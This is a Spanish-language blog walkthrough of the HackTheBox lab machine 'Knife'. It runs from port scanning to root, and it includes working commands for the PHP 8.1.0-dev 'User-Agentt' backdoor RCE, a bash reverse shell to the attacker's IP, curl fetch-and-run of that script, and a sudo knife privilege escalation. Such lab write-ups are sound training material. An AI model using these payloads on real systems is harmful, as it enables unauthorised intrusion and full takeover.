HTB Knife
¡Hola! En esta ocasión vamos a resolver de la maquina Knife de HackTheBox. La maquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear un directorio de trabajo con el nombre knife
y los subdirectorios nmap
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkdir knife
❯ cd !$
cd knife
❯ mkdir nmap exploit
RECONOCIMIENTO
Accedemos al directorio nmap
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de una traza ICMP.
❯ ping -c 1 10.10.10.242 | grep ttl | awk '{print $4,$6}'
10.10.10.242: ttl=63
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTheBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.242 -oG openPorts | grep open
22/tcp open ssh
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p22,80 -sCV 10.10.10.242 -oG deepScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-17 13:38 -05
Nmap scan report for 10.10.10.242
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos identificar que el puerto 80
tiene una página web en servicio, por lo que revisamos con el explorador la página en cuestión.
Vamos a realizar un fuzzing por medio de la generación de múltiples peticiones con diferentes terminaciones a la página web, con el fin de detectar rutas de acceso a información o explotación, sin embargo, no es posible la extracción de información que fuera de ayuda para el ejercicio (solo muestro el comando para fines educativos).
❯ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.242/FUZZ
A continuación, vamos a realizar la enumeración de software utilizado para la creación de la página web a través de la utilidad whatweb
.
❯ whatweb http://10.10.10.242/
http://10.10.10.242/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Scrip>
Como se puede ver, tenemos la versión PHP 8.1.0-dev
, la cual vamos a buscar en la base de datos de exploits por medio de la utilidad searchsploit
❯ searchsploit PHP 8.1.0-dev | grep dev
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
Encontramos un exploit que genera un backdoor por medio de una modificación en las cabeceras de la petición web, todo esto por con el fin de lograr un RCE (Remote Command Excecution).
"User-Agentt: zerodiumsystem ('whoami');"
EXPLOTACIÓN
Bien, ahora que tenemos conocimiento de esta vulnerabilidad, vamo a probar en la maquina victima por medio de la utilidad curl
que nos permite modificar parámetros como en este caso el User Agent (Entramos a la carpeta exploit antes de ejecutar nuestra prueba).
cd ../exploit
❯ curl -s -X GET http://10.10.10.242/ -H "User-Agentt: zerodiumsystem ('whoami');" | head -n 1
james
¡Tenemos ejecución remota de comandos! Podemos ver que el usuario james
es un usuario de la maquina víctima.
Vamos a generar una reverse shell en bash para cargarla y después ejecutarla en la máquina, para esto creamos el archivo escalation.sh
con el siguiente contenido.
❯ cat escalation.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.12/5555 0>&1'
Ahora que tenemos nuestra reverse shell, vamos a iniciar en nuestra maquina un servidor web con ayuda de python
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Luego de tener nuestro servidor activo, generamos una petición al servidor web victima por medio del exploit encontrado anteriormente, en esta ocasión para subir el archivo en la maquina vulnerable.
❯ curl -s -X GET http://10.10.10.242/ -H 'User-Agentt: zerodiumsystem(" curl http://10.10.14.12:8000/escalation.sh -o /tmp/escalation.sh ");'
Al tener la reverse shell solo queda ejecutarlo, sin embargo, antes de ejecutar el comando es necesario ponerse en escucha por el puerto que se indicó al momento de configurar la reverse shell, para este caso es el puerto 5555
.
❯ nc -lnvp 5555
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Finalmente ejecutamos el comando para accionar la reverse shell desde la maquina víctima.
❯ curl -s -X GET http://10.10.10.242/ -H 'User-Agentt: zerodiumsystem(" bash /tmp/escalation.sh ");'
Vamos a verlo en acción.
¡Obtenemos acceso a la maquina!
El primer paso luego de obtener una shell es realizar el tratamiento de la TTY, por lo que dejare el procedimiento de cómo realizarlo (Esto se hace inicialmente en la maquina a la cual tenemos acceso).
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
xterm
export XTERM=xterm
export SHELL=bash
Ahora que estamos dentro de la maquina con el usuario james
, vamos a escalar privilegios para lograr ser root
, pero antes de eso vamos a leer la flag del usuario.
james@knife:/$ find . -name user.txt 2>/dev/null
./home/james/user.txt
james@knife:/$ head -c 10 ./home/james/user.txt; echo
b2bf0e7aa5
ESCALAMIENTO
¡Perfecto! Ahora si vamos a revisar permisos por medio del comando sudo -l
, así podremos ver qué tipo de utilidades puede ejecutar el usuario james
con privilegios.
james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Vemos que james
puede ejecutar el comando knife
sin necesidad de ingresar credenciales.
Por medio del recurso GTFOBins identificamos una vía potencial de escalamiento de privilegios, ejecutando lo siguiente.
sudo knife exec -E 'exec "/bin/sh"'
Procedemos a realizar la prueba en nuestra maquina vulnerada.
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
¡Logramos tener acceso a la maquina como root
!
Solo hace falta buscar la flag correspondiente y eso sería todo.
# find . -name root.txt 2>/dev/null
./root/root.txt
# head -c 10 ./root/root.txt ; echo
4b01b07a6d
¡Hemos logrado nuestra primera maquina del blog en HackTheBox!
Por último, les recomiendo seguir practicando y si pueden generar contenido, mucho mejor! Espero les pueda servir de algo este material.
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.